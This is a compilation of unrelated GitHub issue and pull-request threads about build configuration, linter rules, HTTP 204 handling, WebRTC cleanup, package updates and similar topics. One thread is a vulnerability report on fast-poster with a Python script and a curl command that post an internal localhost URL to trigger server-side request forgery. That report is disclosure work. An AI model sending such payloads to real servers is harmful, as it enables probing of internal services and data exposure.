Module from npm written in ES6

When I import an module from npm (node_modules) which is written in ES6 (and has .es6 file extension), this module is probably not transpiled by babel. This works OK in dev mode, but when I run yarn build, UglifyJS throws an error, probably because it does not understand non-transpiled es6 syntax. Should I somehow modify configuration so babel does transpile .es6 files in node_modules?
thanks.

Maybe you're looking for https://nuxtjs.org/api/configuration-build#extend

@egoist Thanks, I know about this option and I actually tried to use it like this:
extend (config, ctx) {
  config.module.rules.push({
    test: /\.es6$/,
    loader: 'babel-loader'
  })
}

but it doesn't seem to have any effect.

Having the same problem. did you fix this @dodas ?

@dodas what node module are you using which is using .es6 files?

@muhajirframe No, I did not.
@Atinux this one: https://www.npmjs.com/package/googlemaps-js-rich-marker

I believe my answer there could help you @dodas https://github.com/nuxt/nuxt.js/issues/924#issuecomment-309417199
You can update the babel-loader to add also .es6 with .js and add exlude googlemaps-js-rich-marker into the exclude regexp.

@Atinux could you help me with writing such regex?
I tried this: babelLoader.exclude = /node_modules\/.+?\/.+?\.js$/
(exclude files ending with .js from node_modules)
with no success.
thanks.

Hi @dodas ,
like @atinux said you can try to modifier snippet mentioned #924
Maybe this one will work, not sure.
...
  build: {
    extend: function (config) {
      const babelLoader = config.module.rules.find((rule) => rule.loader === 'babel-loader')
      babelLoader.exclude = /node_modules\/(?![googlemaps-js-rich-marker])/
      babelLoader.test = /\.(js|es6)$/
    }
  },
...
}

@muhajirframe thanks, but no, this does not work. I don't understand why Atinux has put "get-urls" inside character class (square brackets). When I replace "get-urls" with "googlemaps-js-rich-marker", node quits with error saying Invalid regular expression: /node_modules\/(?![googlemaps-js-rich-marker])/: Range out of order in character class.
Also, I would like to universally transpile every .es6 module from node_modules, not just googlemaps-js-rich-marker.

Yeah, in my case it's not [get-urls] too, it's (get-urls) after researching a little bit about regex.

Ah yes, that would work.
This is what I ended up doing to transpile all files with .es6 extension:
{
  build: {
    extend: function (config) {
      const babelLoader = config.module.rules.find(rule => rule.loader === 'babel-loader')
      const babelLoaderEs6 = Object.assign({}, babelLoader, { exclude: undefined, test: /\.es6$/ })
      config.module.rules.push(babelLoaderEs6)
    }
  },
}

I'm trying to use @dodas snippet above but getting an error: Unexpected token import
The targets should cause the .es6 file to be transpiled correctly but it doesn't seem to be happening for some reason. Any ideas where I'm going wrong? (Assuming it's something obvious)


Could you make a unique logo for the Dgraph browser?

Like say make it a distinct color, because the website/docs have the same logo and it gets lost in the browser tabs when both are open. :P
It's number 4 here:

The icon will be blueish once the next version is released


Fix base URL

rn the url looks like https://kubesimplify.github.io/website/
I think we should change the base url to /
not sure if this would affect the deployment to gh pages since it was changed in #22
https://github.com/kubesimplify/website/blob/fcab83456936aa778d3dddb814fea3367dc51d37/docusaurus.config.js#L12

Do we have any specific reason for the change, as the website will use kubesimplify.com when finished

@anubha-v-ardhan I was considering this from the docusaurus website.
But if you think it's not required then we can close this issue 🙂

Are you sure this won't break the deployment?

@anubha-v-ardhan I don't think it will break the deployment, but @verma-kunal can confirm, since he changed it in #22

Accepting triage for this, we can check the deployment when PR is made for this issue.
@Shivansh-yadav13 Do you wish to work on this?

REF https://github.com/kubesimplify/website/pull/43#discussion_r872937563


:sparkles: Move helm-operator-plugin

Description

Reviewer Checklist

[ ] API Go Documentation
[ ] Tests: Unit Tests (and E2E Tests, if appropriate)
[ ] Comprehensive Commit Messages
[ ] Links to related GitHub Issue(s)

@varshaprasad96 @joelanford This is one thing I missed in the original rukpak. The depedent.go file can also be found here:
https://github.com/operator-framework/rukpak/blob/main/internal/helm-operator-plugins/predicate/depedent.go
This does mean exposing more in rukpak

Let's change rukpak. Also, instead of reflect we should use this instead: https://github.com/kubernetes/apimachinery/blob/37988e577e160bf7749437141fee1d6b8ca15dd6/pkg/api/equality/semantic.go#L28

@joelanford, I updated rukpak: https://github.com/operator-framework/rukpak/pull/878
But I would consider the reflect changes separate.


Docs - Replace Import Strategy

Description of change

Replaced docusaurus-plugin-includes with remark-code-import abd remark-import-partial
Upgraded Docusarus to improve mobile nav
Fixed dependency warnings
Replaced @include statements with @import

Type of change

Enhancement (a non-breaking change which adds functionality)
Documentation Fix

How the change has been tested
Changes were tested on a locally mounted docs site.
Change checklist

[ ] I have followed the contribution guidelines for this project
[ ] I have performed a self-review of my own code
[ ] I have made corresponding changes to the documentation
[ ] I have checked that new and existing unit tests pass locally with my changes

Thanks for the PR, but something is wrong that I can't debug :(

Thanks for the PR, but something is wrong that I can't debug :(

What seems to be the problem? If you want we can schedule a quick call to try and work it out. Or if you have an error log please send it my way so I can review it :)

https://github.com/iotaledger/stronghold.rs/pull/242/checks?check_run_id=3240181888


C901 (max-complexity) not reported since 0.0.247

Can't find anything that can cause the change in changelog https://github.com/charliermarsh/ruff/releases/tag/v0.0.247 or docs https://beta.ruff.rs/docs/settings/#max-complexity
❯ cat > a.py
def fn(a, b, c, d, e):
    if a:
        ...
    try:
        ...
    except ValueError:
        ...
    if b:
        ...
    if c:
        ...
    if d:
        ...
    else:
        try:
            if a:
                if not b:
                    ...
        except ValueError:
            ...
    ...

❯ pip install ruff==0.0.246
Collecting ruff==0.0.246
  Using cached ruff-0.0.246-py3-none-macosx_10_9_x86_64.macosx_11_0_arm64.macosx_10_9_universal2.whl (10.7 MB)
Installing collected packages: ruff
  Attempting uninstall: ruff
    Found existing installation: ruff 0.0.244
    Uninstalling ruff-0.0.244:
      Successfully uninstalled ruff-0.0.244
Successfully installed ruff-0.0.246

❯ ruff --select C a.py
a.py:1:5: C901 `fn` is too complex (11)
Found 1 error.

❯ pip install ruff==0.0.247
Collecting ruff==0.0.247
  Using cached ruff-0.0.247-py3-none-macosx_10_9_x86_64.macosx_11_0_arm64.macosx_10_9_universal2.whl (11.1 MB)
Installing collected packages: ruff
  Attempting uninstall: ruff
    Found existing installation: ruff 0.0.246
    Uninstalling ruff-0.0.246:
      Successfully uninstalled ruff-0.0.246
Successfully installed ruff-0.0.247

❯ ruff --select C a.py
❯

I think the issue here is that you need to do --select C9 now, since C is assigned to both flake8-comprehensions and mccabe. But I didn't realize that these no longer worked. @not-my-profile, is this intended? Is there a way we could re-enable them?

Ah yeah my bad. I redirected C to C4 in 849b947b ... I didn't realize that it previously also included C9. Since the many-to-one mapping broke up the RuleCodePrefix enum we can no longer easily map one prefix to rules from different linters.

We have the same problem, I think, which T, which is redirected to T10, so T no longer turns on the T200 rules.

Gonna consider this high-priority since we've silently turned off rules for users.

Fixed in #3452.


chore(master): release 0.0.15

:robot: I have created a release beep boop
0.0.15 (2023-07-14)
Bug Fixes | 修复

修复 log 无法正确打印 Caller 的问题 (349ec42)

Other | 其他更改

mod 优化 (8f9589d)
移除 tools 包 (3faca36)

Features | 新特性

新增 steram 包，支持 map 和 slice 的链式操作 (10fcb54)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/kercylan98/minotaur/releases/tag/v0.0.15 :sunflower:


Don't require old version of react-native

This causes errors in newer versions

Please @t4t5 accept this pull request, I took so much time to understand from where the runtime error occurred on my project. At the end I discovered that it was due to react-native-router that uses an old react-native version.

Quick merge :) Will have time to go through this project next week to fix things!

:+1:

Could you please say when it's going to be a new version of library with this fix?

yeah @t4t5 this is urgent! lol


International Literacy Day Filter #862

Related Issues or bug
Fixes: #862
Proposed Changes

Added a new folder "Festive-Filter/International Literacy Day Filter" inside the Snapchat filter folder containing all the required files

This feature is not required!


Virtual screen dims / fades occasionally

Environment

OS: Window
scrcpy version: 1.13
installation method: Windows release
device model: Pixel 2 XL
Android version: 10

Describe the bug
Not sure if this is a bug or a "feature" or how to properly describe it, but on occasion, the virtual screen on my PC dims/gets faded.  I can't seem to find a rhyme or reason for it happening.  Ideally I'd like the virtual screen on my PC to be as clear and crisp as possible, but occasionally it dims, even when the actual device's screen is fine.
I hope I'm describing this clearly enough, and you understand what I am talking about :$

Is it visible if you record and play the recorded file?
scrcpy --record file.mkv


Prevents response body content with a 204

Issue Description
If a plugin uses TSHttpTxnSetHttpRetStatus to set the status of a transaction, when ATS generates the response it will use HttpBodyFactory and its templates to do so. There is no special handling for the 204 response code and no special template for it therefore it will get a body generated by the default body factory template. This is a violation of the W3 spec which requires a 204 response to have no body.
There are several changes that need to be made in a coordinated fashion.

A template for a 204 response should be added to body factory template system so that it is used for a 204 if available.
When generating in the body factory, if the response code is forbidden to have a body the body factory MUST NOT use a default, only the specific response template if present. If not present, a body MUST NOT be generated.
For bodyless responses, a body SHOULD BE sent if a plugin called TSHttpTxnErrorBodySet.

Pull Request
By default, when we return a 204, we do not send a response body.
If a custom response body template is configured, it is still returned.
If a plugin sets a response body explicitly, it is still returned.
Also includes minor fixes/improvements related to the above.

[approve ci]

If this needs a redo anyway, because clang format and squashing, let's split off the change to .gitignore as a separate PR and merge that quickly.

If this needs a redo anyway, because clang format and squashing, let's split off the change to .gitignore as a separate PR and merge that quickly.

This is done; moved to #2078.

[approve ci]

The method used to evaluate test conditions here is too brittle, as it relies on verbose output from the curl command line tool.
We are getting tripped up by two things:

When curl receives a 204, it interprets it so that curl's output does not include any response body, and therefore we cannot precisely validate the response is what we expect—even if, as in this case, it breaks the HTTP spec.
curl's verbose output has not expectation of stability between releases of the tool to match our expectation of stability in our repeatable testing.

Going to investigate a better way to serialize output from ATS so we can avoid the two kinds of issues above that are causing false positives here.

[approve ci autest]

[approve ci autest]

Still working on this issue. Will update the branch when I am convinced it works.

[approve ci]

[approve ci]

[approve ci autest]

[approve ci]

[approve ci autest]

@SolidWallOfCode @persiaAziz How does this look to you?

It looks good to me

[approve ci]

Cherry picking this to 7.1.0.


Add Google Cloud Run logo

https://svgur.com/i/Ch5.svg

Added in ef7b94458308d3fb8c12e9047180bfbbbe3f9164


Tabs: restore the active-tab-index functionality

The Tabs component used to have an active-tab-index feature.
Currently, only the Prop name remains, but the logic and functionality is gone.
Bring back or re-create the active-tab-index functionality again.

Is there a reason why the line below is commented out?
It works if you just use the line
  componentWillLoad() {
    this.internalOrientation = this.orientation.toLowerCase() === 'vertical' ? 'vertical' : 'horizontal';
    if (this.internalActiveTabIndex !== this.activeTabIndex) {
      this.ifxTabChange.emit({ previousTab: this.internalActiveTabIndex, currentTab: this.activeTabIndex });
    };
    // this.internalActiveTabIndex = this.activeTabIndex;
    this.internalFocusedTabIndex = this.internalActiveTabIndex;
    this.updateTabStyles();
    this.onSlotChange();
  }

Is there a reason why the line below is commented out? It works if you just use the line
  componentWillLoad() {
    this.internalOrientation = this.orientation.toLowerCase() === 'vertical' ? 'vertical' : 'horizontal';
    if (this.internalActiveTabIndex !== this.activeTabIndex) {
      this.ifxTabChange.emit({ previousTab: this.internalActiveTabIndex, currentTab: this.activeTabIndex });
    };
    // this.internalActiveTabIndex = this.activeTabIndex;
    this.internalFocusedTabIndex = this.internalActiveTabIndex;
    this.updateTabStyles();
    this.onSlotChange();
  }

Likely a mistake. Good find 👍


Cleaning up connection

What is the correct way to clean up when a connection is to be closed or when the application is exiting?
I have a WPF app where the process doesn't exit when the window is closed.
With a previous version of WebRTC, I used to do this:
_dssSignaler.StopPollingAsync();
_dataChannel.Dispose();
_peerConnection.Close();
_peerConnection.Dispose();
However, with the latest version (from the master branch), calling Dispose() on either the datachannel or peerconnection just hangs.

That closing sequence looks correct. Do you know the callstack when it hangs? There are multiple possible candidates to a hang in the PeerConnection.Dispose() call. For data channels I think it's  different, there is a lock associated with the data channel add/remove on the peer connection so some thread might be doing some operation on the peer connection related to data channels.

The call stack is quite short, coming from the window.WindowClosed event:
RenderPeer.exe!RenderPeer.RenderServer.Dispose(bool disposing)
RenderPeer.exe!RenderPeer.RenderServer.Dispose()
RenderPeer.exe!MainWindow.WindowClosed(object sender, System.EventArgs eventArgs)

I meant the C++ callstack. You need to switch your debugger to mixed mode to allow debugging both C# and C++. In Visual Studio this is in the C# project Properties > Debug > Allow native code debugging or Debugger Type (depending on the C# project kind). I am looking for information about what exactly is hanging in there, to get an idea of things to try to diagnose and/or work around.

Here you go:
>	Microsoft.MixedReality.WebRTC.Native.dll!Microsoft::MixedReality::WebRTC::DataChannel::id() Line 72	C++  	Microsoft.MixedReality.WebRTC.Native.dll!Microsoft::MixedReality::WebRTC::PeerConnection::RemoveDataChannel(const Microsoft::MixedReality::WebRTC::DataChannel & data_channel) Line 294	C++  	Microsoft.MixedReality.WebRTC.Native.dll!mrsPeerConnectionRemoveDataChannel(void * peerHandle, void * dataChannelHandle) Line 1115	C++  	[External Code]	  	Microsoft.MixedReality.WebRTC.dll!Microsoft.MixedReality.WebRTC.PeerConnection.RemoveDataChannel(System.IntPtr dataChannelHandle) Line 1119	C#  	Microsoft.MixedReality.WebRTC.dll!Microsoft.MixedReality.WebRTC.DataChannel.Dispose() Line 158	C#

If the call to DataChannel::is() is hanging, this means that it's called from another thread and gets dispatched to the WebRTC signaling thread, which must be busy doing something else. Can you please check what that thread is doing, and continue along the chain of waits? I assume there is a deadlock where the signaling thread and that one are both waiting on each other, but I am not sure why yet. Which thread are you calling Dispose() from?

It turned out the deadlock was in my own code. Thanks for pointing me in the right direction!
Dispose() was called from the main GUI thread on the WindowClosed event.
The WebRTC signalling thread was waiting for the gui thread via a guiDispatcher.Invoke(action) call.
Problem solved.


support for newer protobuff or update requirements.txt

The latest protobuf isn't compatible with the BD viewer.
Recommend either updating https://github.com/PistonMiner/binaryninja-bindiff-viewer/blob/master/requirements.txt to pin on the latest version compatible (looks like 3.20.1 at a glance?) or else updating the plugin with a newer protobuf (or both which sounds like the plan 😉 )

Resolved in b57d0ae4d42ed8654cb87e11c765f8339eb4aa67


Member changes

make that change, squash it into a single commit and then we can get it merged in!


matlab results to compare KF, EKF and PF.

Hi, I read your paper and simulation results in Matlab. Can you please share your matlab source with results, also under what conditions were the results obtained?
Thanks in advance :D

I didn't write the paper, I am just linking to it since my algorithm implements what is described in that paper.


Checklist items for Workshop 5

Agile Methods

[ ] Carry on with your implementation adding more features to your project: use issues and PRs to track your work; add unit tests when appropriate.

[ ] Create an issue regarding what agile practices you have employed in your project and comment the practices that you have recognised, with a very brief explanation.

@AdeptiC, @Jakobloula, @Zeruxe, @Akbar-163, and @zakariyams
I can not still assign anyone to the issues. Would you please check this issue (add me as 'collaborator' to the project)?
Thank you.


Dedicated RG for ACR to support alternate lifecycle

https://docs.microsoft.com/en-us/azure/container-registry/container-registry-best-practices#dedicated-resource-group
ACR can be shared across various Viya 4 deployments. Also ACR lifecycle can be longer compared to rest of the resources to reduce cloud costs.

I disagree. The document talks about a user wanting to test out many ways to use the container registry an thus put it in it own rg. We are not doing that. We can already use the existing ACR setup for multiple viya deployments on the same cluster or in clusters existing in the same rg. Furthermore, with our IaC code this seems like an anti pattern. Who would control the ACR since only one deployment would have it? What happens it they want to take down that infrastructure but others are using the acr? If users want to have cross rg ACR I think that should be done outside of this tooling and they just tell viya about it. That is already supported.

I'd keep the discussion here for input from the field where more realistic use cases would arise. Primary use case is not necessarily shared ACR but to account for lifecycle differences between AKS and ACR. ACR may be once per release of Viya4 whereas AKS and other components would have shorter lifecycles (e.g., weekends, nightly or other cycles) to reduce cloud costs.


big problem

i accidently run
composer dump-autoload --no-dev
then:
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
not recognize.
how i back :(((?

I think this is not issue for laravel. Just google solution.

Hi there,
Welcome to Laravel and we are glad to have you as part of the community.
Unfortunately this GitHub area is not a support area for general application issues. This is only for issues/bugs with the framework code itself.
I will be closing your ticket here. Instead please try asking your question on one of the many great community support areas that will likely give you a better answer more quickly:

Laravel Slack (https://larachat.co/)
Laravel.io Forum (https://laravel.io/forum)
Laracasts Forum (https://laracasts.com/discuss)
StackOverflow (http://stackoverflow.com/questions/tagged/laravel)

If you feel I've closed this issue in error, please provide more information about how this is a framework issue, and I'll reopen the ticket.
Thanks in advance.


[Security Issue]: FetchImg : SSRF in psoho/fast-poster

Description : File Path → server/poster.py
Below is the code for poster.py.
def fetchImg(url=''):
    try:
        if url.startswith('store/upload/'):
            if os.path.exists(f'data/{url}'):
                return Image.open(f'data/{url}').convert('RGBA')
            else:
                return NO_IMG
        r = requests.get(url, timeout=0.2)
        return Image.open(BytesIO(r.content)).convert('RGBA')
    except urllib3.exceptions.ReadTimeoutError:
        print(f'ERROR: fetch image timeout: url={url}')
        traceback.print_exc()
        return None
    except Exception:
        traceback.print_exc()
        return NO_IMG

This code makes a request using requests.get(url) without validating the reliability of the url value.
Proof of Concept
https://github.com/user-attachments/assets/a73bc226-a33b-4bb2-87ed-a946f45f8a64
Below is the code for python script.
import requests
import json

url = "http://<IP_ADDRESS>:8006/ssrf"

inner_data = {
        "id": 0,
        "type": "jpg",
        "bgUrl": "http://localhost:5000/",
        "w": "2",
        "h": "3",
        "bgc": "4"
}

data = {
    "json": json.dumps(inner_data),
    "name": "hehe"
}

headers = {
    "Content-Type": "application/json",
    "token": "token"
}

try:
    response = requests.post(url, headers=headers, data=json.dumps(data))

    if response.status_code == 200:
        print("Request successful:", response.json())
    else:
        print(f"Request failed. Status code: {response.status_code}")
        print("Response content:", response.text)

except requests.exceptions.RequestException as e:
    print("Error occurred during the request:", e)

Below is curl.
curl -X POST "http://<IP_ADDRESS>:8006/ssrf" \
     -H "Content-Type: application/json" \
     -H "token: token" \
     -d '{
           "json": "{\"id\": 0, \"type\": \"jpg\", \"bgUrl\": \"http://localhost:5000/\", \"w\": \"2\", \"h\": \"3\", \"bgc\": \"4\"}",
           "name": "hehe"
         }'

Impact
1. Internal network scanning and resource access
An attacker can inject an internal network address (for example, http://<IP_ADDRESS>:5000/admin) into the bgUrl value to gain access to internal administrative pages or sensitive APIs.
This could allow them to collect information from services that are only accessible from inside the server, or attempt to bypass authentication.
2. Exposing private data
If an attacker sets a bgUrl to an API on a specific internal system, the response data from that API can be leaked to the outside world.
For example, if a request like bgUrl=“[http://localhost:8000/private-data”](http://localhost:8000/private-data”) is executed on a server, an attacker can steal sensitive information through the server.
3. Information leakage through logs
If the URL is recorded in the server logs when a request fails, an attacker can use this information to learn about the internal behavior of the server and the network structure.
Example: If a request like http://<IP_ADDRESS>:8000/admin fails and is recorded in the logs, the internal service address is leaked.

访问内部API接口，需要通过对应的TOKEN才能访问，def fetchImg(url=''):
try:
if url.startswith('store/upload/'):
if os.path.exists(f'data/{url}'):
return Image.open(f'data/{url}').convert('RGBA')
else:
return NO_IMG
r = requests.get(url, timeout=0.2)
return Image.open(BytesIO(r.content)).convert('RGBA')
except urllib3.exceptions.ReadTimeoutError:
print(f'ERROR: fetch image timeout: url={url}')
traceback.print_exc()
return None
except Exception:
traceback.print_exc()
return NO_IMG中的代码，发起请求时：r = requests.get(url, timeout=0.2) ，不会包含token，无法获取敏感信息。 出现异常，也只会返回一个空白图片，不会泄露任何信息。  我们不考虑错误日志打印的情况。 如果你都可以拿到服务器的日志了。那这个时候，服务器对你来说，也是已经沦陷了。


Add sercomm flood sensor quirk

Adds a quirk for Sercomm SZ-WTD02N, sold as Securifi Flood Sensor

Thanks!


python310Packages.mypy: 1.3.0 -> 1.4.1

Description of changes
Changes: https://github.com/python/mypy/compare/v1.3.0...v1.4.1
Required by: https://github.com/NixOS/nixpkgs/pull/243861#issuecomment-1641755257

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

cc @trofi @Artturin

1.4.0 release post https://mypy-lang.blogspot.com/2023/06/mypy-140-released.html

Does it work for you? For me it fails as:
$ nix build --no-link github:NixOS/nixpkgs/pull/244567/merge#python310Packages.mypy -L
...
python3.10-mypy> Executing pipBuildPhase
python3.10-mypy> Creating a wheel...
python3.10-mypy> WARNING: The directory '/homeless-shelter/.cache/pip' or its parent directory is not owned or is not writable by the current user. The cache has been disabled. Check the permissions and owner of that directory. If executing pip with sudo, you should use sudo's -H flag.
python3.10-mypy> Processing /build/source
python3.10-mypy>   Running command Preparing metadata (pyproject.toml)
python3.10-mypy>   mypy/fastparse.py:223: error: Library stubs not installed for "typed_ast"  [import]
python3.10-mypy>   mypy/fastparse.py:223: note: Error code "import" not covered by "type: ignore" comment
python3.10-mypy>   mypy/fastparse.py:223: note: Hint: "python3 -m pip install types-typed-ast"
python3.10-mypy>   mypy/fastparse.py:223: note: (or run "mypy --install-types" to install all missing stub packages)
python3.10-mypy>   mypy/fastparse.py:223: note: See https://mypy.readthedocs.io/en/stable/running_mypy.html#missing-imports
python3.10-mypy>   error: subprocess-exited-with-error
python3.10-mypy>   × Preparing metadata (pyproject.toml) did not run successfully.
python3.10-mypy>   │ exit code: 1
python3.10-mypy>   ╰─> See above for output.
python3.10-mypy>   note: This error originates from a subprocess, and is likely not a problem with pip.
python3.10-mypy>   full command: /nix/store/a282mi66s8msrkn67kn0zbycc2kajdhp-python3-3.10.12/bin/python3.10 /nix/store/rn82klzdnnkzh5lm42zy05mp0bv63fj5-python3.10-pip-23.0.1/lib/python3.10/site-packages/pip/_vendor/pyproject_hooks/_in_process/_in_process.py prepare_metadata_for_build_wheel /build/tmpqmxy40lu
python3.10-mypy>   cwd: /build/source
python3.10-mypy>   Preparing metadata (pyproject.toml) ... error
python3.10-mypy> error: metadata-generation-failed
python3.10-mypy> × Encountered error while generating package metadata.
python3.10-mypy> ╰─> See above for output.
python3.10-mypy> note: This is an issue with the package mentioned above, not pip.
python3.10-mypy> hint: See above for details.
error: builder for '/nix/store/s81wjrf74m4wyd6zrawmfflz5dhdf5z7-python3.10-mypy-1.4.1.drv' failed with exit code 1;

Unfortunately, I have no cache of staging, atm.

try updating types-typed-ast to <IP_ADDRESS>

Retried today:
$ nix build --no-link github:NixOS/nixpkgs/pull/244567/merge#python310Packages.mypy -L
...
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testTypedPkgNoSitePkgsIgnoredImports
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testTypedPkgSimple
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testTypedPkgSimplePackageSearchPath
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testTypedPkg_config_nositepackages
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testTypedPkg_args_nositepackages
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testTypedPkgStubs
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testStubPrecedence
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testTypedPkgSimpleEditable
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testTypedPkgNamespaceImportFrom
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testTypedPkgNamespaceImportAs
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testTypedPkgNamespaceRegImport
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testPep561TestIncremental
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testTypedPkgNamespaceRegFromImportTwice
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testNamespacePkgWStubs
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testNamespacePkgWStubsWithNamespacePackagesFlag
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testTypedPkgNamespaceRegFromImportTwiceMissing
python3.10-mypy> FAILED mypy/test/testpep561.py::PEP561Suite::pep561.test::testTypedPkgNamespaceRegFromImportTwiceMissing2
python3.10-mypy> ==== 17 failed, 10862 passed, 332 skipped, 10 xfailed in 268.25s (0:04:28) =====

Unfortunately, for reasons I don't quite understand, the following diff does not afford the required hatchling for tests:
diff
diff --git a/pkgs/development/python-modules/mypy/default.nix b/pkgs/development/python-modules/mypy/default.nix
index a566d4b5a7f..384e7cf036d 100644
--- a/pkgs/development/python-modules/mypy/default.nix
+++ b/pkgs/development/python-modules/mypy/default.nix
@@ -22,6 +22,7 @@
 # tests
 , attrs
 , filelock
+, hatchling
 , pytest-xdist
 , pytest-forked
 , pytestCheckHook
@@ -90,9 +91,10 @@ buildPythonPackage rec {
     "mypy.report"
   ];insights

-  checkInputs = [
+  nativeCheckInputs = [
     attrs
     filelock
+    hatchling
     pytest-xdist
     pytest-forked
     pytestCheckHook

Updated in fb198ee98918fde93352fe4aefeac1a71ff93e43.
As with setuptools and typing_extensions it also does not find hatchling. Nothing t worry about. I think it spawns a new environment and tries to install it from pypi.


Update concepts.md

@sphenry : Thanks for your contribution! The author(s) have been notified to review your proposed change.

Closing as duplicate and opened in the public repository.


Hard to see which tasks/bugs relate to which stories

Hi, love the tool!
At the moment, its hard to see which tasks relate to which stories. Could there be a tool-tip on hover (or a side-panel on-click?) so that we can see more than just the first few words of the parent story (most of ours, we just see "As a user I wan...." !

Good idea,
On 2.0.11 you can click on the story to expand it a bit.
WDYT?


chore(main): release 1.2.1

:robot: I have created a release beep boop
1.2.1 (2023-04-23)
Bug Fixes

ci: branch name (2d19e3f)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/JoshAlexis/utils-abstractions/releases/tag/v1.2.1 :sunflower:


Feature Request: Any chance you could make this work for iPad as well?

Looking for a numbers-only iPad keyboard with an additional letter (in my case X for ISBN numbers).

I remember It was optimized for iPad. https://github.com/podkovyrin/APNumberPad/blob/master/APNumberPad/APNumberPad.m#L142
Though I guess the current implementation appearance might look outdated in the new iOS versions.
Do you have any particular issues or it's just broken in the iPad now?

I stand corrected! It appears to be working, it was an error in my code. Apologies!


Can't find driver named 'postgres' when starting rancher server

Rancher Version:
1.1.0-dev1
Docker Version:
1.10.3
OS and where are the hosts located? (cloud, bare metal, etc):
VMWare (on-premise), Ubuntu 14 LTS
Setup Details: (single node vs. single node, internal DB vs. external DB)
Trying to setup multi-node on external postgres database
Environment Type: (Cattle/Kubernetes/Swarm/Mesos)
Cattle
**Steps to Reproduce: **
Starting rancher-server container from a chef recipe:
docker_container 'rancher-server' do
image node['rancher']['server']['image']
tag node['rancher']['server']['version']
detach true
container_name 'rancher-server'
port "#{node['rancher']['server']['port']}:8080"
volume '/var/run/docker.sock:/var/run/docker.sock'
env [
"CATTLE_DB_CATTLE_DATABASE=postgres",
"CATTLE_DB_CATTLE_USERNAME=#{node['rancher']['server']['db']['user']}",
"CATTLE_DB_CATTLE_PASSWORD=#{node['rancher']['server']['db']['password']}",
"CATTLE_DB_CATTLE_POSTGRES_HOST=#{node['rancher']['server']['db']['host']}",
"CATTLE_DB_CATTLE_POSTGRES_PORT=#{node['rancher']['server']['db']['port']}",
"CATTLE_DB_CATTLE_POSTGRES_NAME=#{node['rancher']['server']['db']['dbname']}"
]
action :run
end
Results:
Rancher throws an exception during startup saying it cannot find the driver named 'postgres'.
Expected:
Rancher to use the specified postgres database for HA.
The postgres database is definitively available and the credentials are correct.
(Image being pulled and run is actually 1.1.0-dev1, if using internal MySQL db it works as expected.)
According to the logs the username, password, host and port are passed in correctly.

MySQL (and variants) is the only supported database.

related https://forums.rancher.com/t/rancher-server-ha-and-database-mysql-or-postgres/2074


Release 2.28 Updates

Fixes #3126

Internal Tracking ID: EXPOSUREAPP-14052

I know this PR is in draft state, however the linked issue https://github.com/corona-warn-app/cwa-website/issues/3126 has ticked off the following:

Update Privacy notice https://github.com/corona-warn-app/cwa-website/pull/3145

add new docs (three PDF)
update release date

That doesn't quite fit because the new privacy notices are missing in the branch release/2.28. For instance I would expect to see a document:
https://github.com/corona-warn-app/cwa-website/blob/release/2.28/src/assets/documents/cwa-privacy-notice-en.pdf
but there is no such file.
For comparison, the master branch contains this file:
https://github.com/corona-warn-app/cwa-website/blob/master/src/assets/documents/cwa-privacy-notice-en.pdf

I know this PR is in draft state, however the linked issue #3126 has ticked off the following:

Update Privacy notice Privacy Notice Updates 2.28 #3145

add new docs (three PDF)
update release date

That doesn't quite fit because the new privacy notices are missing in the branch release/2.28. For instance I would expect to see a document:
https://github.com/corona-warn-app/cwa-website/blob/release/2.28/src/assets/documents/cwa-privacy-notice-en.pdf
but there is no such file.
For comparison, the master branch contains this file: https://github.com/corona-warn-app/cwa-website/blob/master/src/assets/documents/cwa-privacy-notice-en.pdf

Hey Mike, thanks for the heads-up. We did not forget the files, but did not include them on purpose. Rest assured, they will be added prior to release!

@brianebeling

thanks for the heads-up. We did not forget the files, but did not include them on purpose. Rest assured, they will be added prior to release!

Good to hear that nothing was forgotten. Perhaps the ticks should be removed to indicate outstanding to-do items?

@dsarkar
The last commit in this PR (https://github.com/corona-warn-app/cwa-website/pull/3130/commits/a25b61011cf5759ada8b2e06e9376dd40b77d450) has led to the temporary file cypress/downloads/downloads.html being merged into the master branch.
.gitignore includes cypress/downloads/ to ignore, so this file should not normally be committed to the repository.
Would you like to submit a PR to remove it?

@MikeMcC399 Thanks. PR https://github.com/corona-warn-app/cwa-website/pull/3171


Parameters missing in Linux portion of the code for [deploy control plane]

[Enter feedback here]
